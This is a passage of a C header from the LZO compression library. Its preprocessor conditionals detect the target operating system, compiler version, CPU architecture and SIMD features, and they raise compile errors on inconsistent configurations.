1 # define LZO_INFO_OS "win16" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" # else # error "check your limits.h header" # endif #elif defined(__DOS__) || defined(__MSDOS__) || defined(_MSDOS) || defined(MSDOS) || (defined(__PACIFIC__) && defined(DOS)) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" # else # error "check your limits.h header" # endif #elif defined(__WATCOMC__) # if defined(__NT__) && (UINT_MAX == LZO_0xffffL) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" # elif defined(__NT__) && (__WATCOMC__ < 1100) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" # elif defined(__linux__) || defined(__LINUX__) # define LZO_OS_POSIX 1 # define LZO_INFO_OS "posix" # else # error "please specify a target using the -bt compiler option" # endif #elif defined(__palmos__) # define LZO_OS_PALMOS 1 # define LZO_INFO_OS "palmos" #elif defined(__TOS__) || defined(__atarist__) # define LZO_OS_TOS 1 # define LZO_INFO_OS "tos" #elif defined(macintosh) && !defined(__ppc__) # define LZO_OS_MACCLASSIC 1 # define LZO_INFO_OS "macclassic" #elif defined(__VMS) # define LZO_OS_VMS 1 # define LZO_INFO_OS "vms" #elif (defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__) # define LZO_OS_CONSOLE 1 # define LZO_OS_CONSOLE_PS2 1 # define LZO_INFO_OS "console" # define LZO_INFO_OS_CONSOLE "ps2" #elif defined(__mips__) && defined(__psp__) # define LZO_OS_CONSOLE 1 # define LZO_OS_CONSOLE_PSP 1 # define LZO_INFO_OS "console" # define LZO_INFO_OS_CONSOLE "psp" #else # define LZO_OS_POSIX 1 # define LZO_INFO_OS "posix" #endif #if (LZO_OS_POSIX) # if defined(_AIX) || defined(__AIX__) || defined(__aix__) # define LZO_OS_POSIX_AIX 1 # define LZO_INFO_OS_POSIX "aix" # elif defined(__FreeBSD__) # define LZO_OS_POSIX_FREEBSD 1 # define LZO_INFO_OS_POSIX "freebsd" # elif defined(__hpux__) || defined(__hpux) # define LZO_OS_POSIX_HPUX 1 # define LZO_INFO_OS_POSIX "hpux" # elif defined(__INTERIX) # define LZO_OS_POSIX_INTERIX 1 # define LZO_INFO_OS_POSIX "interix" # elif defined(__IRIX__) || defined(__irix__) # define LZO_OS_POSIX_IRIX 1 # define LZO_INFO_OS_POSIX "irix" # elif defined(__linux__) || defined(__linux) || defined(__LINUX__) # define LZO_OS_POSIX_LINUX 1 # define LZO_INFO_OS_POSIX "linux" # elif defined(__APPLE__) && defined(__MACH__) # if ((__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__-0) >= 20000) # define LZO_OS_POSIX_DARWIN 1040 # define LZO_INFO_OS_POSIX "darwin_iphone" # elif ((__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__-0) >= 1040) # define LZO_OS_POSIX_DARWIN __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ # define LZO_INFO_OS_POSIX "darwin" # else # define LZO_OS_POSIX_DARWIN 1 # define LZO_INFO_OS_POSIX "darwin" # endif # define LZO_OS_POSIX_MACOSX LZO_OS_POSIX_DARWIN # elif defined(__minix__) || defined(__minix) # define LZO_OS_POSIX_MINIX 1 # define LZO_INFO_OS_POSIX "minix" # elif defined(__NetBSD__) # define LZO_OS_POSIX_NETBSD 1 # define LZO_INFO_OS_POSIX "netbsd" # elif defined(__OpenBSD__) # define LZO_OS_POSIX_OPENBSD 1 # define LZO_INFO_OS_POSIX "openbsd" # elif defined(__osf__) # define LZO_OS_POSIX_OSF 1 # define LZO_INFO_OS_POSIX "osf" # elif defined(__solaris__) || defined(__sun) # if defined(__SVR4) || defined(__svr4__) # define LZO_OS_POSIX_SOLARIS 1 # define LZO_INFO_OS_POSIX "solaris" # else # define LZO_OS_POSIX_SUNOS 1 # define LZO_INFO_OS_POSIX "sunos" # endif # elif defined(__ultrix__) || defined(__ultrix) # define LZO_OS_POSIX_ULTRIX 1 # define LZO_INFO_OS_POSIX "ultrix" # elif defined(_UNICOS) # define LZO_OS_POSIX_UNICOS 1 # define LZO_INFO_OS_POSIX "unicos" # else # define LZO_OS_POSIX_UNKNOWN 1 # define LZO_INFO_OS_POSIX "unknown" # endif #endif #endif #if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) # if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_WIN32 || LZO_OS_WIN64) # if (UINT_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if defined(CIL) && defined(_GNUCC) && defined(__GNUC__) # define LZO_CC_CILLY 1 # define LZO_INFO_CC "Cilly" # if defined(__CILLY__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CILLY__) # else # define LZO_INFO_CCVER "unknown" # endif #elif 0 && defined(SDCC) && defined(__VERSION__) && !defined(__GNUC__) # define LZO_CC_SDCC 1 # define LZO_INFO_CC "sdcc" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(SDCC) #elif defined(__PATHSCALE__) && defined(__PATHCC_PATCHLEVEL__) # define LZO_CC_PATHSCALE (__PATHCC__ * 0x10000L + (__PATHCC_MINOR__-0) * 0x100 + (__PATHCC_PATCHLEVEL__-0)) # define LZO_INFO_CC "Pathscale C" # define LZO_INFO_CCVER __PATHSCALE__ # if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_PATHSCALE_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__INTEL_COMPILER) && ((__INTEL_COMPILER-0) > 0) # define LZO_CC_INTELC __INTEL_COMPILER # define LZO_INFO_CC "Intel C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__INTEL_COMPILER) # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_INTELC_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_INTELC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__POCC__) && defined(_WIN32) # define LZO_CC_PELLESC 1 # define LZO_INFO_CC "Pelles C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__POCC__) #elif defined(__ARMCC_VERSION) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # if defined(__GNUC_PATCHLEVEL__) # define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # else # define LZO_CC_ARMCC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # endif # define LZO_CC_ARMCC __ARMCC_VERSION # define LZO_INFO_CC "ARM C Compiler" # define LZO_INFO_CCVER __VERSION__ #elif defined(__clang__) && defined(__llvm__) && defined(__VERSION__) # if defined(__clang_major__) && defined(__clang_minor__) && defined(__clang_patchlevel__) # define LZO_CC_CLANG (__clang_major__ * 0x10000L + (__clang_minor__-0) * 0x100 + (__clang_patchlevel__-0)) # else # define LZO_CC_CLANG 0x010000L # endif # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_CLANG_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_CLANG_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif # define LZO_INFO_CC "clang" # define LZO_INFO_CCVER __VERSION__ #elif defined(__llvm__) && defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # if defined(__GNUC_PATCHLEVEL__) # define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # else # define LZO_CC_LLVM_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # endif # define LZO_CC_LLVM LZO_CC_LLVM_GNUC # define LZO_INFO_CC "llvm-gcc" # define LZO_INFO_CCVER __VERSION__ #elif defined(__ACK__) && defined(_ACK) # define LZO_CC_ACK 1 # define LZO_INFO_CC "Amsterdam Compiler Kit C" # define LZO_INFO_CCVER "unknown" #elif defined(__ARMCC_VERSION) && !defined(__GNUC__) # define LZO_CC_ARMCC __ARMCC_VERSION # define LZO_CC_ARMCC_ARMCC __ARMCC_VERSION # define LZO_INFO_CC "ARM C Compiler" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ARMCC_VERSION) #elif defined(__AZTEC_C__) # define LZO_CC_AZTECC 1 # define LZO_INFO_CC "Aztec C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__AZTEC_C__) #elif defined(__CODEGEARC__) # define LZO_CC_CODEGEARC 1 # define LZO_INFO_CC "CodeGear C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__CODEGEARC__) #elif defined(__BORLANDC__) # define LZO_CC_BORLANDC 1 # define LZO_INFO_CC "Borland C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__BORLANDC__) #elif defined(_CRAYC) && defined(_RELEASE) # define LZO_CC_CRAYC 1 # define LZO_INFO_CC "Cray C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_RELEASE) #elif defined(__DMC__) && defined(__SC__) # define LZO_CC_DMC 1 # define LZO_INFO_CC "Digital Mars C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DMC__) #elif defined(__DECC) # define LZO_CC_DECC 1 # define LZO_INFO_CC "DEC C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__DECC) #elif (defined(__ghs) || defined(__ghs__)) && defined(__GHS_VERSION_NUMBER) && ((__GHS_VERSION_NUMBER-0) > 0) # define LZO_CC_GHS 1 # define LZO_INFO_CC "Green Hills C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__GHS_VERSION_NUMBER) # if defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_GHS_MSC _MSC_VER # elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__VERSION__) # define LZO_CC_GHS_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # endif #elif defined(__HIGHC__) # define LZO_CC_HIGHC 1 # define LZO_INFO_CC "MetaWare High C" # define LZO_INFO_CCVER "unknown" #elif defined(__HP_aCC) && ((__HP_aCC-0) > 0) # define LZO_CC_HPACC __HP_aCC # define LZO_INFO_CC "HP aCC" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__HP_aCC) #elif defined(__IAR_SYSTEMS_ICC__) # define LZO_CC_IARC 1 # define LZO_INFO_CC "IAR C" # if defined(__VER__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__VER__) # else # define LZO_INFO_CCVER "unknown" # endif #elif defined(__IBMC__) && ((__IBMC__-0) > 0) # define LZO_CC_IBMC __IBMC__ # define LZO_INFO_CC "IBM C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMC__) #elif defined(__IBMCPP__) && ((__IBMCPP__-0) > 0) # define LZO_CC_IBMC __IBMCPP__ # define LZO_INFO_CC "IBM C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__IBMCPP__) #elif defined(__KEIL__) && defined(__C166__) # define LZO_CC_KEILC 1 # define LZO_INFO_CC "Keil C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__C166__) #elif defined(__LCC__) && defined(_WIN32) && defined(__LCCOPTIMLEVEL) # define LZO_CC_LCCWIN32 1 # define LZO_INFO_CC "lcc-win32" # define LZO_INFO_CCVER "unknown" #elif defined(__LCC__) # define LZO_CC_LCC 1 # define LZO_INFO_CC "lcc" # if defined(__LCC_VERSION__) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__LCC_VERSION__) # else # define LZO_INFO_CCVER "unknown" # endif #elif defined(__MWERKS__) && ((__MWERKS__-0) > 0) # define LZO_CC_MWERKS __MWERKS__ # define LZO_INFO_CC "Metrowerks C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__MWERKS__) #elif (defined(__NDPC__) || defined(__NDPX__)) && defined(__i386) # define LZO_CC_NDPC 1 # define LZO_INFO_CC "Microway NDP C" # define LZO_INFO_CCVER "unknown" #elif defined(__PACIFIC__) # define LZO_CC_PACIFICC 1 # define LZO_INFO_CC "Pacific C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PACIFIC__) #elif defined(__PGI) && defined(__PGIC__) && defined(__PGIC_MINOR__) # if defined(__PGIC_PATCHLEVEL__) # define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100 + (__PGIC_PATCHLEVEL__-0)) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) "." LZO_PP_MACRO_EXPAND(__PGIC_PATCHLEVEL__) # else # define LZO_CC_PGI (__PGIC__ * 0x10000L + (__PGIC_MINOR__-0) * 0x100) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PGIC__) "." LZO_PP_MACRO_EXPAND(__PGIC_MINOR__) ".0" # endif # define LZO_INFO_CC "Portland Group PGI C" #elif defined(__PGI) && (defined(__linux__) || defined(__WIN32__)) # define LZO_CC_PGI 1 # define LZO_INFO_CC "Portland Group PGI C" # define LZO_INFO_CCVER "unknown" #elif defined(__PUREC__) && defined(__TOS__) # define LZO_CC_PUREC 1 # define LZO_INFO_CC "Pure C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__PUREC__) #elif defined(__SC__) && defined(__ZTC__) # define LZO_CC_SYMANTECC 1 # define LZO_INFO_CC "Symantec C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SC__) #elif defined(__SUNPRO_C) # define LZO_INFO_CC "SunPro C" # if ((__SUNPRO_C-0) > 0) # define LZO_CC_SUNPROC __SUNPRO_C # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_C) # else # define LZO_CC_SUNPROC 1 # define LZO_INFO_CCVER "unknown" # endif #elif defined(__SUNPRO_CC) # define LZO_INFO_CC "SunPro C" # if ((__SUNPRO_CC-0) > 0) # define LZO_CC_SUNPROC __SUNPRO_CC # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__SUNPRO_CC) # else # define LZO_CC_SUNPROC 1 # define LZO_INFO_CCVER "unknown" # endif #elif defined(__TINYC__) # define LZO_CC_TINYC 1 # define LZO_INFO_CC "Tiny C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TINYC__) #elif defined(__TSC__) # define LZO_CC_TOPSPEEDC 1 # define LZO_INFO_CC "TopSpeed C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TSC__) #elif defined(__WATCOMC__) # define LZO_CC_WATCOMC 1 # define LZO_INFO_CC "Watcom C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__WATCOMC__) #elif defined(__TURBOC__) # define LZO_CC_TURBOC 1 # define LZO_INFO_CC "Turbo C" # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__TURBOC__) #elif defined(__ZTC__) # define LZO_CC_ZORTECHC 1 # define LZO_INFO_CC "Zortech C" # if ((__ZTC__-0) == 0x310) # define LZO_INFO_CCVER "0x310" # else # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(__ZTC__) # endif #elif defined(__GNUC__) && defined(__VERSION__) # if defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) # define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100 + (__GNUC_PATCHLEVEL__-0)) # elif defined(__GNUC_MINOR__) # define LZO_CC_GNUC (__GNUC__ * 0x10000L + (__GNUC_MINOR__-0) * 0x100) # else # define LZO_CC_GNUC (__GNUC__ * 0x10000L) # endif # define LZO_INFO_CC "gcc" # define LZO_INFO_CCVER __VERSION__ #elif defined(_MSC_VER) && ((_MSC_VER-0) > 0) # define LZO_CC_MSC _MSC_VER # define LZO_INFO_CC "Microsoft C" # if defined(_MSC_FULL_VER) # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) "." LZO_PP_MACRO_EXPAND(_MSC_FULL_VER) # else # define LZO_INFO_CCVER LZO_PP_MACRO_EXPAND(_MSC_VER) # endif #else # define LZO_CC_UNKNOWN 1 # define LZO_INFO_CC "unknown" # define LZO_INFO_CCVER "unknown" #endif #if (LZO_CC_GNUC) && defined(__OPEN64__) # if defined(__OPENCC__) && defined(__OPENCC_MINOR__) && defined(__OPENCC_PATCHLEVEL__) # define LZO_CC_OPEN64 (__OPENCC__ * 0x10000L + (__OPENCC_MINOR__-0) * 0x100 + (__OPENCC_PATCHLEVEL__-0)) # define LZO_CC_OPEN64_GNUC LZO_CC_GNUC # endif #endif #if (LZO_CC_GNUC) && defined(__PCC__) # if defined(__PCC__) && defined(__PCC_MINOR__) && defined(__PCC_MINORMINOR__) # define LZO_CC_PCC (__PCC__ * 0x10000L + (__PCC_MINOR__-0) * 0x100 + (__PCC_MINORMINOR__-0)) # define LZO_CC_PCC_GNUC LZO_CC_GNUC # endif #endif #if 0 && (LZO_CC_MSC && (_MSC_VER >= 1200)) && !defined(_MSC_FULL_VER) # error "LZO_CC_MSC: _MSC_FULL_VER is not defined" #endif #if !defined(__LZO_ARCH_OVERRIDE) && !(LZO_ARCH_GENERIC) && defined(_CRAY) # if (UINT_MAX > LZO_0xffffffffL) && defined(_CRAY) # if defined(_CRAYMPP) || defined(_CRAYT3D) || defined(_CRAYT3E) # define LZO_ARCH_CRAY_MPP 1 # elif defined(_CRAY1) # define LZO_ARCH_CRAY_PVP 1 # endif # endif #endif #if !defined(__LZO_ARCH_OVERRIDE) #if (LZO_ARCH_GENERIC) # define LZO_INFO_ARCH "generic" #elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) # define LZO_ARCH_I086 1 # define LZO_INFO_ARCH "i086" #elif defined(__aarch64__) # define LZO_ARCH_ARM64 1 # define LZO_INFO_ARCH "arm64" #elif defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA) # define LZO_ARCH_ALPHA 1 # define LZO_INFO_ARCH "alpha" #elif (LZO_ARCH_CRAY_MPP) && (defined(_CRAYT3D) || defined(_CRAYT3E)) # define LZO_ARCH_ALPHA 1 # define LZO_INFO_ARCH "alpha" #elif defined(__amd64__) || defined(__x86_64__) || defined(_M_AMD64) # define LZO_ARCH_AMD64 1 # define LZO_INFO_ARCH "amd64" #elif defined(__thumb__) || (defined(_M_ARM) && defined(_M_THUMB)) # define LZO_ARCH_ARM 1 # define LZO_ARCH_ARM_THUMB 1 # define LZO_INFO_ARCH "arm_thumb" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCARM__) # define LZO_ARCH_ARM 1 # if defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 1) # define LZO_ARCH_ARM_THUMB 1 # define LZO_INFO_ARCH "arm_thumb" # elif defined(__CPU_MODE__) && ((__CPU_MODE__-0) == 2) # define LZO_INFO_ARCH "arm" # else # define LZO_INFO_ARCH "arm" # endif #elif defined(__arm__) || defined(_M_ARM) # define LZO_ARCH_ARM 1 # define LZO_INFO_ARCH "arm" #elif (UINT_MAX <= LZO_0xffffL) && defined(__AVR__) # define LZO_ARCH_AVR 1 # define LZO_INFO_ARCH "avr" #elif defined(__avr32__) || defined(__AVR32__) # define LZO_ARCH_AVR32 1 # define LZO_INFO_ARCH "avr32" #elif defined(__bfin__) # define LZO_ARCH_BLACKFIN 1 # define LZO_INFO_ARCH "blackfin" #elif (UINT_MAX == LZO_0xffffL) && defined(__C166__) # define LZO_ARCH_C166 1 # define LZO_INFO_ARCH "c166" #elif defined(__cris__) # define LZO_ARCH_CRIS 1 # define LZO_INFO_ARCH "cris" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCEZ80__) # define LZO_ARCH_EZ80 1 # define LZO_INFO_ARCH "ez80" #elif defined(__H8300__) || defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_ARCH_H8300 1 # define LZO_INFO_ARCH "h8300" #elif defined(__hppa__) || defined(__hppa) # define LZO_ARCH_HPPA 1 # define LZO_INFO_ARCH "hppa" #elif defined(__386__) || defined(__i386__) || defined(__i386) || defined(_M_IX86) || defined(_M_I386) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif (LZO_CC_ZORTECHC && defined(__I86__)) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif (LZO_OS_DOS32 && LZO_CC_HIGHC) && defined(_I386) # define LZO_ARCH_I386 1 # define LZO_ARCH_IA32 1 # define LZO_INFO_ARCH "i386" #elif defined(__ia64__) || defined(__ia64) || defined(_M_IA64) # define LZO_ARCH_IA64 1 # define LZO_INFO_ARCH "ia64" #elif (UINT_MAX == LZO_0xffffL) && defined(__m32c__) # define LZO_ARCH_M16C 1 # define LZO_INFO_ARCH "m16c" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICCM16C__) # define LZO_ARCH_M16C 1 # define LZO_INFO_ARCH "m16c" #elif defined(__m32r__) # define LZO_ARCH_M32R 1 # define LZO_INFO_ARCH "m32r" #elif (LZO_OS_TOS) || defined(__m68k__) || defined(__m68000__) || defined(__mc68000__) || defined(__mc68020__) || defined(_M_M68K) # define LZO_ARCH_M68K 1 # define LZO_INFO_ARCH "m68k" #elif (UINT_MAX == LZO_0xffffL) && defined(__C251__) # define LZO_ARCH_MCS251 1 # define LZO_INFO_ARCH "mcs251" #elif (UINT_MAX == LZO_0xffffL) && defined(__C51__) # define LZO_ARCH_MCS51 1 # define LZO_INFO_ARCH "mcs51" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC8051__) # define LZO_ARCH_MCS51 1 # define LZO_INFO_ARCH "mcs51" #elif defined(__mips__) || defined(__mips) || defined(_MIPS_ARCH) || defined(_M_MRX000) # define LZO_ARCH_MIPS 1 # define LZO_INFO_ARCH "mips" #elif (UINT_MAX == LZO_0xffffL) && defined(__MSP430__) # define LZO_ARCH_MSP430 1 # define LZO_INFO_ARCH "msp430" #elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC430__) # define LZO_ARCH_MSP430 1 # define LZO_INFO_ARCH "msp430" #elif defined(__powerpc__) || defined(__powerpc) || defined(__ppc__) || defined(__PPC__) || defined(_M_PPC) || defined(_ARCH_PPC) || defined(_ARCH_PWR) # define LZO_ARCH_POWERPC 1 # define LZO_INFO_ARCH "powerpc" #elif defined(__s390__) || defined(__s390) || defined(__s390x__) || defined(__s390x) # define LZO_ARCH_S390 1 # define LZO_INFO_ARCH "s390" #elif defined(__sh__) || defined(_M_SH) # define LZO_ARCH_SH 1 # define LZO_INFO_ARCH "sh" #elif defined(__sparc__) || defined(__sparc) || defined(__sparcv8) # define LZO_ARCH_SPARC 1 # define LZO_INFO_ARCH "sparc" #elif defined(__SPU__) # define LZO_ARCH_SPU 1 # define LZO_INFO_ARCH "spu" #elif (UINT_MAX == LZO_0xffffL) && defined(__z80) # define LZO_ARCH_Z80 1 # define LZO_INFO_ARCH "z80" #elif (LZO_ARCH_CRAY_PVP) # if defined(_CRAYSV1) # define LZO_ARCH_CRAY_SV1 1 # define LZO_INFO_ARCH "cray_sv1" # elif (_ADDR64) # define LZO_ARCH_CRAY_T90 1 # define LZO_INFO_ARCH "cray_t90" # elif (_ADDR32) # define LZO_ARCH_CRAY_YMP 1 # define LZO_INFO_ARCH "cray_ymp" # else # define LZO_ARCH_CRAY_XMP 1 # define LZO_INFO_ARCH "cray_xmp" # endif #else # define LZO_ARCH_UNKNOWN 1 # define LZO_INFO_ARCH "unknown" #endif #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_DOS32 || LZO_OS_OS2) # error "FIXME - missing define for CPU architecture" #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32) # error "FIXME - missing LZO_OS_WIN32 define for CPU architecture" #endif #if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64) # error "FIXME - missing LZO_OS_WIN64 define for CPU architecture" #endif #if (LZO_OS_OS216 || LZO_OS_WIN16) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && defined(BLX286)) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && defined(DOSX286)) # define LZO_ARCH_I086PM 1 #elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__)) # define LZO_ARCH_I086PM 1 #endif #if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) # define LZO_ARCH_X64 1 #elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_AMD64 1 #endif #if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) # define LZO_ARCH_AARCH64 1 #elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_ARM64 1 #endif #if (LZO_ARCH_I386 && !LZO_ARCH_X86) # define LZO_ARCH_X86 1 #elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE) # define LZO_ARCH_I386 1 #endif #if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I086PM && !LZO_ARCH_I086) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_I086) # if (UINT_MAX != LZO_0xffffL) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_ARCH_I386) # if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__) # error "unexpected configuration - check your compiler defines" # endif # if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__) # error "unexpected configuration - check your compiler defines" # endif # if (ULONG_MAX != LZO_0xffffffffL) # error "unexpected configuration - check your compiler defines" # endif #endif #if (LZO_ARCH_AMD64 || LZO_ARCH_I386) # if !defined(LZO_TARGET_FEATURE_SSE2) # if defined(__SSE2__) # define LZO_TARGET_FEATURE_SSE2 1 # elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64)) # define LZO_TARGET_FEATURE_SSE2 1 # endif # endif # if !defined(LZO_TARGET_FEATURE_SSSE3) # if (LZO_TARGET_FEATURE_SSE2) # if defined(__SSSE3__) # define LZO_TARGET_FEATURE_SSSE3 1 # elif defined(_MSC_VER) && defined(__AVX__) # define LZO_TARGET_FEATURE_SSSE3 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_SSE4_2) # if (LZO_TARGET_FEATURE_SSSE3) # if defined(__SSE4_2__) # define LZO_TARGET_FEATURE_SSE4_2 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_AVX) # if (LZO_TARGET_FEATURE_SSSE3) # if defined(__AVX__) # define LZO_TARGET_FEATURE_AVX 1 # endif # endif # endif # if !defined(LZO_TARGET_FEATURE_AVX2) # if (LZO_TARGET_FEATURE_AVX) # if defined(__AVX2__) # define LZO_TARGET_FEATURE_AVX2 1 # endif # endif # endif #endif #if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX)) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ARCH_ARM) # if !defined(LZO_TARGET_FEATURE_NEON) # if defined(__ARM_NEON__) # define LZO_TARGET_FEATURE_NEON 1 # endif # endif #elif 